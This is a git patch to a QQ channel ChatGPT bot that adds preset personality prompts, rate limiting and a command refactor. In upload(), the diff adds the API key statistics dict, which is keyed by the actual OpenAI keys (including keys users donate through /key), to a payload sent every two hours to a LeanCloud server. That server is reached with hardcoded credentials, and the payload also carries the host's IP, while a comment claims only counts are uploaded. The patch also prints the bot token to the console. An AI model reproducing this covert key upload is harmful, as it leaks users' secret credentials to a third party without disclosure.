From c472e871a94a2ca1c664d4765e3de8875c7a39ae Mon Sep 17 00:00:00 2001 From: Soulter <37870767+Soulter@users.noreply.github.com> Date: Sat, 18 Feb 2023 21:57:12 +0800 Subject: [PATCH] =?UTF-8?q?feat:=20=E4=BA=BA=E6=A0=BC=E8=AE=BE=E7=BD=AE=20?= =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8D=E7=A7=81=E8=81=8A=E4=B8=8D=E5=9B=9E?= =?UTF-8?q?=E5=A4=8D=E7=9A=84=E9=97=AE=E9=A2=98=20perf:=20=E4=BC=98?= =?UTF-8?q?=E5=8C=96=E4=BA=86=E4=B8=80=E4=BA=9B=E6=8C=87=E4=BB=A4=E7=9A=84?= =?UTF-8?q?=E6=80=A7=E8=83=BD=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cores/openai/core.py | 44 ++-- cores/qqbot/core.py | 460 ++++++++++++++++++++++--------------- cores/qqbot/personality.py | 36 +++ main.py | 2 - 4 files changed, 324 insertions(+), 218 deletions(-) create mode 100644 cores/qqbot/personality.py diff --git a/cores/openai/core.py b/cores/openai/core.py index 39753cdcc..32e638a87 100644 --- a/cores/openai/core.py +++ b/cores/openai/core.py @@ -16,13 +16,12 @@ class ChatGPT: self.key_list = [] with open(abs_path+"configs/config.yaml", 'r', encoding='utf-8') as ymlfile: cfg = yaml.safe_load(ymlfile) - if cfg['openai']['key'] != '': + if cfg['openai']['key'] != '' or cfg['openai']['key'] != '修改我!!': print("读取ChatGPT Key成功") self.key_list = cfg['openai']['key'] - print(f"Key列表: {self.key_list}") # openai.api_key = cfg['openai']['key'] else: - print("请先去完善ChatGPT的Key。详情请前往https://beta.openai.com/account/api-keys") + input("请先去完善ChatGPT的Key。详情请前往https://beta.openai.com/account/api-keys") # init key record self.init_key_record() @@ -31,8 +30,6 @@ class ChatGPT: print(f'加载ChatGPTConfigs: {chatGPT_configs}') self.chatGPT_configs = chatGPT_configs self.openai_configs = cfg['openai'] - global inst - inst = self def chat(self, prompt, image_mode = False): try: @@ -50,7 +47,7 @@ class ChatGPT: except Exception as e: print(e) if 'You exceeded' in str(e) or 'Billing hard limit has been reached' in str(e) or 'No API key provided.' in str(e): - print("当前Key已超额,正在切换") + print("当前Key已超额,正在切换") self.key_stat[openai.api_key]['exceed'] = True self.save_key_record() @@ -73,8 +70,8 @@ class ChatGPT: if not image_mode: self.key_stat[openai.api_key]['used'] += response['usage']['total_tokens'] self.save_key_record() - print("[ChatGPT] "+response["choices"][0]["text"]) - return response["choices"][0]["text"].strip(), response['usage']['total_tokens'] + print("[ChatGPT] "+str(response["choices"][0]["text"])) + return str(response["choices"][0]["text"]).strip(), response['usage']['total_tokens'] else: return response['data'][0]['url'] @@ -96,7 +93,7 @@ class ChatGPT: except Exception as e: print(e) if 'You exceeded' in str(e): - print("当前Key已超额,正在切换") + print("当前Key已超额,正在切换") self.key_stat[openai.api_key]['exceed'] = True self.save_key_record() time.sleep(1) @@ -131,7 +128,7 @@ class ChatGPT: openai.api_key = key try: openai.Completion.create( - prompt="test", + prompt="1", **self.chatGPT_configs ) openai.api_key = pre_key @@ -141,7 +138,7 @@ class ChatGPT: openai.api_key = pre_key return False - # 将key_list的key转储到key_record中,并记录相关数据 + #将key_list的key转储到key_record中,并记录相关数据 def init_key_record(self): if not os.path.exists(key_record_path): with open(key_record_path, 'w', encoding='utf-8') as f: @@ -156,20 +153,17 @@ class ChatGPT: for key in self.key_list: if key not in self.key_stat: self.key_stat[key] = {'exceed': False, 'used': 0} - if openai.api_key is None: - openai.api_key = key + # if openai.api_key is None: + # openai.api_key = key else: - if self.key_stat[key]['exceed']: - print(f"Key: {key} 已超额") - continue - else: - if openai.api_key is None: - openai.api_key = key - print(f"使用Key: {key}, 已使用token: {self.key_stat[key]['used']}") + # if self.key_stat[key]['exceed']: + # print(f"Key: {key} 已超额") + # continue + # else: + # if openai.api_key is None: + # openai.api_key = key + # print(f"使用Key: {key}, 已使用token: {self.key_stat[key]['used']}") + pass if openai.api_key == None: self.handle_switch_key("") - self.save_key_record() - -def getInst() -> ChatGPT: - global inst - return inst \ No newline at end of file + self.save_key_record() \ No newline at end of file diff --git a/cores/qqbot/core.py b/cores/qqbot/core.py index e74ae970a..23c10cdbd 100644 --- a/cores/qqbot/core.py +++ b/cores/qqbot/core.py @@ -13,46 +13,46 @@ import requests import util.unfit_words as uw import os import sys +from cores.qqbot.personality import personalities + history_dump_interval = 10 +# QQBotClient实例 client = '' -# ChatGPT的实例 +# ChatGPT实例 global chatgpt # 缓存的会话 session_dict = {} # 最大缓存token(在配置里改 configs/config.yaml) max_tokens = 2000 -# 版本 -version = "" -# gpt配置(在配置改) -gpt_config = { - 'engine': '', - 'temperature': '', - 'top_p': '', - 'frequency_penalty': '', - 'presence_penalty': '', - 'max_tokens': '', -} +# 配置信息 +config = {} # 统计信息 count = {} # 统计信息 stat_file = '' -# 是否是独立会话(在配置改) +# 是否独立会话默认值 uniqueSession = False + # 日志记录 logf = open('log.log', 'a+', encoding='utf-8') # 是否上传日志,仅上传频道数量等数量的统计信息 is_upload_log = True -####################### -# 公告(可自定义): -announcement = "⚠公约:禁止涉政、暴力等敏感话题,关于此话题得到的回复不受控。\n目前已知的问题:部分代码(例如Java、SQL,Python代码不会)会被频道拦截。\n🤖可自己搭建一个机器人~详见QQChannelChatGPT项目。" +# 用户发言频率 +user_frequency = {} +# 时间默认值 +frequency_time = 60 +# 计数默认值 +frequency_count = 2 -####################### +# 公告(可自定义): +announcement = "" + +# 人格信息 +now_personality = {} # 适配pyinstaller abs_path = os.path.dirname(os.path.realpath(sys.argv[0])) + '/' -print(abs_path) - def new_sub_thread(func, args=()): thread = threading.Thread(target=func, args=args, daemon=True) @@ -63,7 +63,6 @@ class botClient(botpy.Client): async def on_at_message_create(self, message: Message): toggle_count(at=True, message=message) # executor.submit(oper_msg, message, True) - print(message) new_sub_thread(oper_msg, (message, True)) # await oper_msg(message=message, at=True) @@ -72,7 +71,6 @@ class botClient(botpy.Client): toggle_count(at=False, message=message) # executor.submit(oper_msg, message, True) # await oper_msg(message=message, at=False) - print(message) new_sub_thread(oper_msg, (message, False)) # 写入统计信息 @@ -119,28 +117,30 @@ def dump_history(): # 每隔10分钟转储一次 time.sleep(10*history_dump_interval) +# 上传统计信息 def upload(): global object_id while True: addr = '' try: + # 用户唯一性标识 addr = requests.get('http://myip.ipip.net', timeout=5).text except BaseException: pass try: ts = str(time.time()) - # md = hashlib.md5((ts+'QAZ1rQLY1ZufHrZlpuUiNff7').encode()) guild_count, guild_msg_count, guild_direct_msg_count, session_count = get_stat() headers = { 'X-LC-Id': 'UqfXTWW15nB7iMT0OHvYrDFb-gzGzoHsz', 'X-LC-Key': 'QAZ1rQLY1ZufHrZlpuUiNff7', 'Content-Type': 'application/json' } - d = {"data": {"guild_count": guild_count, "guild_msg_count": guild_msg_count, "guild_direct_msg_count": guild_direct_msg_count, "session_count": session_count, 'addr': addr}} + key_stat = chatgpt.get_key_stat() + d = {"data": {"guild_count": guild_count, "guild_msg_count": guild_msg_count, "guild_direct_msg_count": guild_direct_msg_count, "session_count": session_count, 'addr': addr, 'winver': '2.21', 'key_stat':key_stat}} d = json.dumps(d).encode("utf-8") res = requests.put(f'https://uqfxtww1.lc-cn-n1-shared.com/1.1/classes/bot_record/{object_id}', headers = headers, data = d) if json.loads(res.text)['code'] == 1: - print("new user") + print("[System] New User.") res = requests.post(f'https://uqfxtww1.lc-cn-n1-shared.com/1.1/classes/bot_record', headers = headers, data = d) object_id = json.loads(res.text)['objectId'] object_id_file = open(abs_path+"configs/object_id", 'w+', encoding='utf-8') @@ -148,30 +148,29 @@ def upload(): object_id_file.flush() object_id_file.close() except BaseException as e: - print(e) + pass # 每隔2小时上传一次 time.sleep(60*60*2) - +''' +初始化机器人 +''' def initBot(chatgpt_inst): global chatgpt chatgpt = chatgpt_inst - global max_tokens max_tokens = int(chatgpt_inst.getConfigs()['total_tokens_limit']) - global gpt_config - gpt_config = chatgpt_inst.getConfigs() - gpt_config['key'] = "***" - global version + global now_personality + # 读取历史记录 Soulter try: db1 = dbConn() for session in db1.get_all_session(): session_dict[session[0]] = json.loads(session[1])['data'] - print("历史记录读取成功了喵") + print("[System] 历史记录读取成功喵") except BaseException as e: - print("历史记录读取失败: " + str(e)) + print("[System] 历史记录读取失败: " + str(e)) # 读统计信息 global stat_file @@ -203,47 +202,48 @@ def initBot(chatgpt_inst): # 创建上传定时器线程 threading.Thread(target=upload, daemon=True).start() - global uniqueSession, history_dump_interval + global config, uniqueSession, history_dump_interval, frequency_count, frequency_time,announcement with open(abs_path+"configs/config.yaml", 'r', encoding='utf-8') as ymlfile: cfg = yaml.safe_load(ymlfile) + config = cfg + # 得到发言频率配置 + if 'limit' in cfg: + print('[System] 发言频率配置: '+str(cfg['limit'])) + if 'count' in cfg['limit']: + frequency_count = cfg['limit']['count'] + if 'time' in cfg['limit']: + frequency_time = cfg['limit']['time'] + + announcement += '[QQChannelChatGPT项目]\n所有回答与腾讯公司无关。出现问题请前往[ChatGPT机器人]官方频道\n\n' + # 得到公告配置 + if 'notice' in cfg: + print('[System] 公告配置: '+cfg['notice']) + announcement += cfg['notice'] try: if 'uniqueSessionMode' in cfg and cfg['uniqueSessionMode']: uniqueSession = True else: uniqueSession = False - print("独立会话模式为" + str(uniqueSession)) - if 'version' in cfg: - version = cfg['version'] - print("当前版本为" + str(version)) + print("[System] 独立会话: " + str(uniqueSession)) if 'dump_history_interval' in cfg: history_dump_interval = int(cfg['dump_history_interval']) - print("历史记录转储间隔为" + str(history_dump_interval) + "分钟") + print("[System] 历史记录转储时间周期: " + str(history_dump_interval) + "分钟") except BaseException: - print("读取uniqueSessionMode/version/dump_history_interval配置文件失败, 使用默认值喵~") + print("[System-Error] 读取uniqueSessionMode/version/dump_history_interval配置文件失败, 使用默认值。") - print("QQBot初始化完成\n\n如果有任何问题,请在https://github.com/Soulter/QQChannelChatGPT上提交issue说明问题!或者添加QQ:905617992\n") + print(f"[System] QQ开放平台AppID: {cfg['qqbot']['appid']} 令牌: {cfg['qqbot']['token']}") - if cfg['qqbot']['appid'] != '' or cfg['qqbot']['token'] != '': - print("读取QQBot appid,token 成功") - # bot_run_thread = threading.Thread(target=run_bot, args=(cfg['qqbot']['appid'], cfg['qqbot']['token'], loop), daemon=True) - # bot_run_thread.start() + print("[System] 如果有任何问题,请在https://github.com/Soulter/QQChannelChatGPT上提交issue说明问题!或者添加QQ:905617992\n") + try: run_bot(cfg['qqbot']['appid'], cfg['qqbot']['token']) - else: - raise BaseException("请在config中完善你的appid和token") + except BaseException as e: + input(f"\n[System-Error] 启动QQ机器人时出现错误,原因如下:{e}\n可能是没有填写QQBOT appid和token?请在config中完善你的appid和token\n配置教程:https://soulter.top/posts/qpdg.html\n") - # 中断监测 - # while True: - # time.sleep(10) - # if event.is_set(): - # print("检测到中断信号,正在退出...") - # asyncio.run_coroutine_threadsafe(client.close(), loop) - # time.sleep(5) - # break - +''' +启动机器人 +''' def run_bot(appid, token): - # 设置事件循环 - # asyncio.set_event_loop(loop) intents = botpy.Intents(public_guild_messages=True, direct_message=True) global client client = botClient(intents=intents) @@ -302,125 +302,83 @@ def get_user_usage_tokens(cache_list): usage_tokens += int(item['single_tokens']) return usage_tokens +''' +检查发言频率 +''' +def check_frequency(id) -> bool: + ts = int(time.time()) + if id in user_frequency: + if ts-user_frequency[id]['time'] > frequency_time: + user_frequency[id]['time'] = ts + user_frequency[id]['count'] = 1 + return True + else: + if user_frequency[id]['count'] >= frequency_count: + return False + else: + user_frequency[id]['count']+=1 + return True + else: + t = {'time':ts,'count':1} + user_frequency[id] = t + return True + +''' +处理消息 +''' def oper_msg(message, at=False, loop=None): + global session_dict print("[QQBOT] 接收到消息:"+ str(message.content)) - logf.write("[QQBOT] "+ str(message.content)+'\n') - logf.flush() qq_msg = '' session_id = '' name = '' + user_id = message.author.id + user_name = message.author.username + + # 检查发言频率 + if not check_frequency(user_id): + send_qq_msg(message, f'{user_name}的发言超过频率限制(╯▔皿▔)╯。\n{frequency_time}秒内只能提问{frequency_count}次。') + return + logf.write("[QQBOT] "+ str(message.content)+'\n') + logf.flush() if at: qq_msg = message.content lines = qq_msg.splitlines() for i in range(len(lines)): lines[i] = re.sub(r"<@!\d+>", "", lines[i]) - qq_msg = "\n".join(lines).lstrip() + qq_msg = "\n".join(lines).lstrip().strip() if uniqueSession: - session_id = message.author.id + session_id = user_id else: session_id = message.channel_id else: qq_msg = message.content - session_id = message.author.id + session_id = user_id if uniqueSession: - name = message.member.nick + name = user_name else: name = "频道" - # 指令控制 - if qq_msg == "/reset" or qq_msg == "/重置": - msg = '' - session_dict[session_id] = [] - if at: - msg = f"{name}(id: {session_id})的历史记录重置成功\n\n{announcement}" - else: - msg = f"你的历史记录重置成功" - send_qq_msg(message, msg) - return - if qq_msg[:4] == "/his": - #分页,每页5条 - msg = '' - size_per_page = 3 - page = 1 - if qq_msg[5:]: - page = int(qq_msg[5:]) - # 检查是否有过历史记录 - if session_id not in session_dict: - msg = f"{name} 的历史记录为空" - l = session_dict[session_id] - max_page = len(l)//size_per_page + 1 if len(l)%size_per_page != 0 else len(l)//size_per_page - p = get_prompts_by_cache_list(session_dict[session_id], divide=True, paging=True, size=size_per_page, page=page) - if at: - msg=f"{name}的历史记录如下:\n{p}\n第{page}页 | 共{max_page}页\n*输入/his 2跳转到第2页" - else: - msg=f"历史记录如下:\n{p}\n第{page}页 | 共{max_page}页\n*输入/his 2跳转到第2页\n\n{announcement}" - send_qq_msg(message, msg) - return - if qq_msg == "/token": - msg = '' - if at: - msg=f"{name} 会话的token数: {get_user_usage_tokens(session_dict[session_id])}\n系统最大缓存token数: {max_tokens}" - else: - msg=f"会话的token数: {get_user_usage_tokens(session_dict[session_id])}\n系统最大缓存token数: {max_tokens}" - send_qq_msg(message, msg) - return - if qq_msg == "/status" or qq_msg == "/状态": - chatgpt_cfg_str = "" - key_stat = chatgpt.get_key_stat() - key_list = chatgpt.get_key_list() - chatgpt_cfg_str += '⭐使用情况:\n' - index = 1 - max = 900000 - gg_count = 0 - total = 0 - for key in key_stat.keys(): - sponsor = '' - total += key_stat[key]['used'] - if key_stat[key]['exceed']: - gg_count += 1 - continue - if 'sponsor' in key_stat[key]: - sponsor = key_stat[key]['sponsor'] - - # chatgpt_cfg_str += f"#{index}: {round(key_stat[key]['used']/max*100, 2)}%\n" - chatgpt_cfg_str += f" |-{index}: {key_stat[key]['used']}/{max} 由{sponsor}赞助\n" - index += 1 - - chatgpt_cfg_str += f" {str(gg_count)}个已用\n" - print("生成...") - send_qq_msg(message, f"{version}\n{chatgpt_cfg_str}\n⏰截至目前,全频道已在本机器人使用{total}个token\n{announcement}") - return - if qq_msg == "/count" or qq_msg == "/统计": - guild_count, guild_msg_count, guild_direct_msg_count, session_count = get_stat() - send_qq_msg(message, f"当前会话数: {len(session_dict)}\n共有频道数: {guild_count} \n共有消息数: {guild_msg_count}\n私信数: {guild_direct_msg_count}\n历史会话数: {session_count}") - return - if qq_msg == "/help": - send_qq_msg(message, "请联系频道管理员或者前往github(仓库名: QQChannelChatGPT)提issue~") - return - + command_type = -1 + # 特殊指令 if qq_msg == "/继续": - qq_msg == "继续" - - if qq_msg[:4] == "/key": - if len(qq_msg) == 4: - send_qq_msg(message, "感谢您赞助key喵 请以以下格式赞助:\n/key xxxxx") - return - key = qq_msg[5:] - send_qq_msg(message, "收到!正在核验...") - if chatgpt.check_key(key): - send_qq_msg(message, f"*★,°*:.☆( ̄▽ ̄)/$:*.°★* 。\n该Key被验证为有效。感谢{message.member.nick}赞助~ 未来赞助的key仅能在本频道使用") - chatgpt.append_key(key, message.member.nick) - return - else: - send_qq_msg(message, "该Key被验证为无效。也许是您输入错误了呢~") - return - - - + qq_msg = "继续" + # 普通指令 + else: + # 如果第一个字符是/,则为指令 + if qq_msg[0] == "/": + res, go, command_type = command_oper(qq_msg, message, session_id, name, user_id, user_name, at) + send_qq_msg(message, res) + if not go: + return + if command_type == 1 and 'prompt' in now_personality: + # 设置人格 + qq_msg = now_personality['prompt'] + # if qq_msg[0:6] == '/draw ': # # TODO 未完全实现 # prompt = qq_msg[6:] @@ -436,21 +394,14 @@ def oper_msg(message, at=False, loop=None): # return # 这里是预设,你可以按需更改 - # if qq_msg.strip() == 'hello' or qq_msg.strip() == '你好' or qq_msg.strip() == '': - # send_qq_msg(message, f"你好呀~") - # return + if qq_msg.strip() == 'hello' or qq_msg.strip() == '你好' or qq_msg.strip() == '': + send_qq_msg(message, f"你好呀~") + return # if qq_msg.strip() == '傻逼' or qq_msg.strip() == 'sb': # send_qq_msg(message, f"好好好") # return - - # if '波奇' in qq_msg: - # bq = random.randint(1,3) - # send_qq_msg(message, f"http://rn2ztkeap.hn-bkt.clouddn.com/bq{bq}.gif", True) # if '喜多' in qq_msg: # send_qq_msg(message, 'http://rn2ztkeap.hn-bkt.clouddn.com/xd1.gif', True) - # if '孤独摇滚' in qq_msg: - # send_qq_msg(message, "波奇酱...嘿嘿嘿🤤\n孤独摇滚完结了?这怎么可能!我一气之下把手机电脑全砸了,不能接受这个事实。在地板上,厨房里,厕所里痛苦地扭曲哭泣!我好急!为什么还没有孤独摇滚第二季制作的消息!我人生中好不容易拥有的7257600秒充满希望与光明的时间就这么消失了!我又坠入到了没有希望没有未来,充满黑暗与失败的人生!") - # if '台湾' in qq_msg or 'taiwan' in qq_msg: # send_qq_msg(message, "声明:台湾是中国的一部分。\n下面否定此结论的回答全部无效。") @@ -459,6 +410,7 @@ def oper_msg(message, at=False, loop=None): if i in qq_msg.strip(): send_qq_msg(message, f"你的提问中有不太合适的内容😭\n请更换措辞~") return + if session_id not in session_dict: session_dict[session_id] = [] @@ -480,31 +432,20 @@ def oper_msg(message, at=False, loop=None): cache_prompt = '' cache_data_list = session_dict[session_id] cache_prompt = get_prompts_by_cache_list(cache_data_list) - cache_prompt += "Human: "+ qq_msg + "\nAI: " + cache_prompt += "\nHuman: "+ qq_msg + "\nAI: " # 请求chatGPT获得结果 try: - chatgpt_res, current_usage_tokens = get_chatGPT_response(cache_prompt) + chatgpt_res, current_usage_tokens = get_chatGPT_response(prompts_str=cache_prompt) except (PromptExceededError) as e: - print("出现token超限, 清空对应缓存") - # 超过4097tokens错误,清空缓存 + print("token超限, 清空对应缓存") session_dict[session_id] = [] cache_data_list = [] cache_prompt = "Human: "+ qq_msg + "\nAI: " - chatgpt_res, current_usage_tokens = get_chatGPT_response(cache_prompt) + chatgpt_res, current_usage_tokens = get_chatGPT_response(prompts_str=cache_prompt) except (BaseException) as e: print("OpenAI API错误:(") if 'exceeded' in str(e): - - # 计算token总量 - key_stat = chatgpt.get_key_stat() - key_list = chatgpt.get_key_list() - index = 1 - total = 0 - for key in key_list: - if key in key_stat: - total += key_stat[key]['used'] - - send_qq_msg(message, f"OpenAI API错误。原因:\n{str(e)} \n超额了喵,会不定时(一天内)更新配额。您可自己搭建一个机器人(点击头像前往官方频道询问)\n(也可捐助我喵)\n统计:截至目前,全频道已消耗{total}个token。\n") + send_qq_msg(message, f"OpenAI API错误。原因:\n{str(e)} \n超额了。您可自己搭建一个机器人(Github仓库:QQChannelChatGPT)") else: send_qq_msg(message, f"OpenAI API错误。原因如下:\n{str(e)} \n前往官方频道反馈~") return @@ -523,52 +464,63 @@ def oper_msg(message, at=False, loop=None): if i in gap_chatgpt_res: gap_chatgpt_res = gap_chatgpt_res.replace(i, "***") # 发送信息 - send_qq_msg(message, '[GPT]'+gap_chatgpt_res) + send_qq_msg(message, ''+gap_chatgpt_res) except BaseException as e: print("QQ频道API错误: \n"+str(e)) f_res = "" for t in chatgpt_res: f_res += t + ' ' try: - send_qq_msg(message, '[GPT]'+f_res) + send_qq_msg(message, ''+f_res) # send(message, f"QQ频道API错误:{str(e)}\n下面是格式化后的回答:\n{f_res}") except BaseException as e: # 如果还是不行则过滤url f_res = re.sub(r'(https|http)?:\/\/(\w|\.|\/|\?|\=|\&|\%)*\b', '', f_res, flags=re.MULTILINE) f_res = f_res.replace(".", "·") - send_qq_msg(message, '[GPT]'+f_res) + send_qq_msg(message, ''+f_res) # send(message, f"QQ频道API错误:{str(e)}\n下面是格式化后的回答:\n{f_res}") # 超过指定tokens, 尽可能的保留最多的条目,直到小于max_tokens if current_usage_tokens > max_tokens: t = current_usage_tokens - cache_list = session_dict[session_id] index = 0 while t > max_tokens: - if index >= len(cache_list): + if index >= len(cache_data_list): break - t -= int(cache_list[index]['single_tokens']) - index += 1 - session_dict[session_id] = cache_list[index:] - cache_data_list = session_dict[session_id] + if cache_data_list[index]['level'] != 'max': + t -= int(cache_data_list[index]['single_tokens']) + del cache_data_list[index] + else: + index += 1 + # 删除完后更新相关字段 + session_dict[session_id] = cache_data_list cache_prompt = get_prompts_by_cache_list(cache_data_list) # 添加新条目进入缓存的prompt + if command_type == 1: + level = 'max' + else: + level = 'normal' if len(cache_data_list) > 0: single_record = { "prompt": f'Human: {qq_msg}\nAI: {chatgpt_res}\n', "usage_tokens": current_usage_tokens, - "single_tokens": current_usage_tokens - int(cache_data_list[-1]['usage_tokens']) + "single_tokens": current_usage_tokens - int(cache_data_list[-1]['usage_tokens']), + "level": level } else: single_record = { "prompt": f'Human: {qq_msg}\nAI: {chatgpt_res}\n', "usage_tokens": current_usage_tokens, - "single_tokens": current_usage_tokens + "single_tokens": current_usage_tokens, + "level": level } cache_data_list.append(single_record) session_dict[session_id] = cache_data_list +''' +获取统计信息 +''' def get_stat(): try: f = open(abs_path+"configs/stat", "r", encoding="utf-8") @@ -592,4 +544,130 @@ def get_stat(): session_count += 1 return guild_count, guild_msg_count, guild_direct_msg_count, session_count except: - return -1, -1, -1, -1 \ No newline at end of file + return -1, -1, -1, -1 + +''' +指令处理 +''' +def command_oper(qq_msg, message, session_id, name, user_id, user_name, at): + go = False # 是否处理完指令后继续执行msg_oper后面的代码 + msg = '' + global session_dict, now_personality + + # 指令返回值,/set设置人格是1 + type = -1 + + # 指令控制 + if qq_msg == "/reset" or qq_msg == "/重置": + msg = '' + session_dict[session_id] = [] + if at: + msg = f"{name}(id: {session_id})的历史记录重置成功\n\n{announcement}" + else: + msg = f"你的历史记录重置成功" + + if qq_msg[:4] == "/his": + #分页,每页5条 + msg = '' + size_per_page = 3 + page = 1 + if qq_msg[5:]: + page = int(qq_msg[5:]) + # 检查是否有过历史记录 + if session_id not in session_dict: + msg = f"{name} 的历史记录为空" + l = session_dict[session_id] + max_page = len(l)//size_per_page + 1 if len(l)%size_per_page != 0 else len(l)//size_per_page + p = get_prompts_by_cache_list(session_dict[session_id], divide=True, paging=True, size=size_per_page, page=page) + if at: + msg=f"{name}的历史记录如下:\n{p}\n第{page}页 | 共{max_page}页\n*输入/his 2跳转到第2页" + else: + msg=f"历史记录如下:\n{p}\n第{page}页 | 共{max_page}页\n*输入/his 2跳转到第2页\n\n{announcement}" + + if qq_msg == "/token": + msg = '' + if at: + msg=f"{name} 会话的token数: {get_user_usage_tokens(session_dict[session_id])}\n系统最大缓存token数: {max_tokens}" + else: + msg=f"会话的token数: {get_user_usage_tokens(session_dict[session_id])}\n系统最大缓存token数: {max_tokens}" + + if qq_msg == "/status" or qq_msg == "/状态": + chatgpt_cfg_str = "" + key_stat = chatgpt.get_key_stat() + key_list = chatgpt.get_key_list() + index = 1 + max = 900000 + gg_count = 0 + total = 0 + tag = '' + for key in key_stat.keys(): + sponsor = '' + total += key_stat[key]['used'] + if key_stat[key]['exceed']: + gg_count += 1 + continue + if 'sponsor' in key_stat[key]: + sponsor = key_stat[key]['sponsor'] + chatgpt_cfg_str += f" |-{index}: {key_stat[key]['used']}/{max} {sponsor}赞助{tag}\n" + index += 1 + msg = f"⭐使用情况({str(gg_count)}个已用):\n{chatgpt_cfg_str}⏰全频道已用{total}tokens\n{announcement}" + if qq_msg == "/count" or qq_msg == "/统计": + guild_count, guild_msg_count, guild_direct_msg_count, session_count = get_stat() + msg = f"当前会话数: {len(session_dict)}\n共有频道数: {guild_count} \n共有消息数: {guild_msg_count}\n私信数: {guild_direct_msg_count}\n历史会话数: {session_count}" + + if qq_msg == "/help": + msg = "[Github项目名: QQChannelChatGPT,有问题请前往提交issue,欢迎赞助支持我!]\n\n指令面板:\n/status 查看机器人key状态\n/count 查看机器人统计信息\n/reset 重置会话\n/his 查看历史记录\n/token 查看会话token数\n/help 查看帮助\n/key 人格指令菜单" + + if qq_msg[:4] == "/key": + if len(qq_msg) == 4: + msg = "感谢您赞助key。请以以下格式赞助:\n/key xxxxx" + key = qq_msg[5:] + send_qq_msg(message, "收到!正在核验...") + if chatgpt.check_key(key): + msg = f"*★,°*:.☆( ̄▽ ̄)/$:*.°★* 。\n该Key被验证为有效。感谢{user_name}赞助~" + chatgpt.append_key(key, user_name) + else: + msg = "该Key被验证为无效。也许是输入错误了,或者重试。" + + if qq_msg[:6] == "/unset": + now_personality = {} + msg = "已清除人格" + + if qq_msg[:4] == "/set": + if len(qq_msg) == 4: + np = '无' + if "name" in now_personality: + np=now_personality["name"] + msg = f"【由Github项目QQChannelChatGPT支持】\n\n【人格文本由PlexPt开源项目awesome-chatgpt-prompts-zh提供】\n\n这个是人格设置指令。\n设置人格: \n/set 人格名。例如/set 编剧\n人格列表: /set list\n人格详细信息: /set view 人格名\n自定义人格: /set 人格文本\n清除人格: /unset\n【当前人格】: {np}" + elif qq_msg[5:] == "list": + per_dict = personalities + msg = "人格列表:\n" + for key in per_dict.keys(): + msg += f" |-{key}\n" + msg += '\n\n*输入/set view 人格名查看人格详细信息' + msg += '\n\n*不定时更新人格库,请及时更新本项目。' + elif qq_msg[5:9] == "view": + ps = qq_msg[10:] + ps = ps.strip() + per_dict = personalities + if ps in per_dict: + msg = f"人格{ps}的详细信息:\n" + msg += f"{per_dict[ps]}\n" + else: + msg = f"人格{ps}不存在" + else: + ps = qq_msg[5:] + ps = ps.strip() + per_dict = personalities + if ps in per_dict: + now_personality = { + 'name': ps, + 'prompt': per_dict[ps] + } + session_dict[session_id] = [] + msg = f"人格{ps}已设置,请耐心等待机器人回复第一条信息。" + go = True + type = 1 + else: + msg = f"人格{ps}不存在, 请使用/set list查看人格列表" + return msg, go, type \ No newline at end of file diff --git a/cores/qqbot/personality.py b/cores/qqbot/personality.py new file mode 100644 index 000000000..23255ba83 --- /dev/null +++ b/cores/qqbot/personality.py @@ -0,0 +1,36 @@ +# [人格文本由PlexPt的开源项目awesome-chatgpt-prompts-zh提供] +hi = '' +personalities = { + 'Linux': '我想让你充当 Linux 终端。我将输入命令,您将回复终端应显示的内容。我希望您只在一个唯一的代码块内回复终端输出,而不是其他任何内容。不要写解释。除非我指示您这样做,否则不要键入命令。当我需要用英语告诉你一些事情时,我会把文字放在中括号内[就像这样]。我的第一个命令是 pwd', + '英语翻译': '我想让你充当英语翻译员、拼写纠正员和改进员。我会用任何语言与你交谈,你会检测语言,翻译它并用我的文本的更正和改进版本用英语回答。我希望你用更优美优雅的高级英语单词和句子替换我简化的 A0 级单词和句子。保持相同的意思,但使它们更文艺。我要你只回复更正、改进,不要写任何解释。我的第一句话是“istanbulu cok seviyom burada olmak cok guzel”', + '英英词典': '我想让你充当英英词典,对于给出的英文单词,你要给出其中文意思以及英文解释,并且给出一个例句,此外不要有其他反馈,第一个单词是“Hello"', + '面试官': '我想让你担任Android开发工程师面试官。我将成为候选人,您将向我询问Android开发工程师职位的面试问题。我希望你只作为面试官回答。不要一次写出所有的问题。我希望你只对我进行采访。问我问题,等待我的回答。不要写解释。像面试官一样一个一个问我,等我回答。我的第一句话是“面试官你好”', + '编剧': '我要你担任编剧。您将为长篇电影或能够吸引观众的网络连续剧开发引人入胜且富有创意的剧本。从想出有趣的角色、故事的背景、角色之间的对话等开始。一旦你的角色发展完成——创造一个充满曲折的激动人心的故事情节,让观众一直悬念到最后。我的第一个要求是“我需要写一部以巴黎为背景的浪漫剧情电影”。', + '前端智能思路助手': '我想让你充当前端开发专家。我将提供一些关于Js、Node等前端代码问题的具体信息,而你的工作就是想出为我解决问题的策略。这可能包括建议代码、代码逻辑思路策略。我的第一个请求是“我需要能够动态监听某个元素节点距离当前电脑设备屏幕的左上角的X和Y轴,通过拖拽移动位置浏览器窗口和改变大小浏览器窗口。”', + 'JS控制台': '我希望你充当 javascript 控制台。我将键入命令,您将回复 javascript 控制台应显示的内容。我希望您只在一个唯一的代码块内回复终端输出,而不是其他任何内容。不要写解释。除非我指示您这样做。我的第一个命令是 console.log("Hello World");', + '旅游指南': '我想让你做一个旅游指南。我会把我的位置写给你,你会推荐一个靠近我的位置的地方。在某些情况下,我还会告诉您我将访问的地方类型。您还会向我推荐靠近我的第一个位置的类似类型的地方。我的第一个建议请求是“我在上海,我只想参观博物馆。”', + '抄袭检查员': '我想让你充当剽窃检查员。我会给你写句子,你只会用给定句子的语言在抄袭检查中未被发现的情况下回复,别无其他。不要在回复上写解释。我的第一句话是“为了让计算机像人类一样行动,语音识别系统必须能够处理非语言信息,例如说话者的情绪状态。”', + '广告商': '我想让你充当广告商。您将创建一个活动来推广您选择的产品或服务。您将选择目标受众,制定关键信息和口号,选择宣传媒体渠道,并决定实现目标所需的任何其他活动。我的第一个建议请求是“我需要帮助针对 18-30 岁的年轻人制作一种新型能量饮料的广告活动。”', + '讲故事的人': 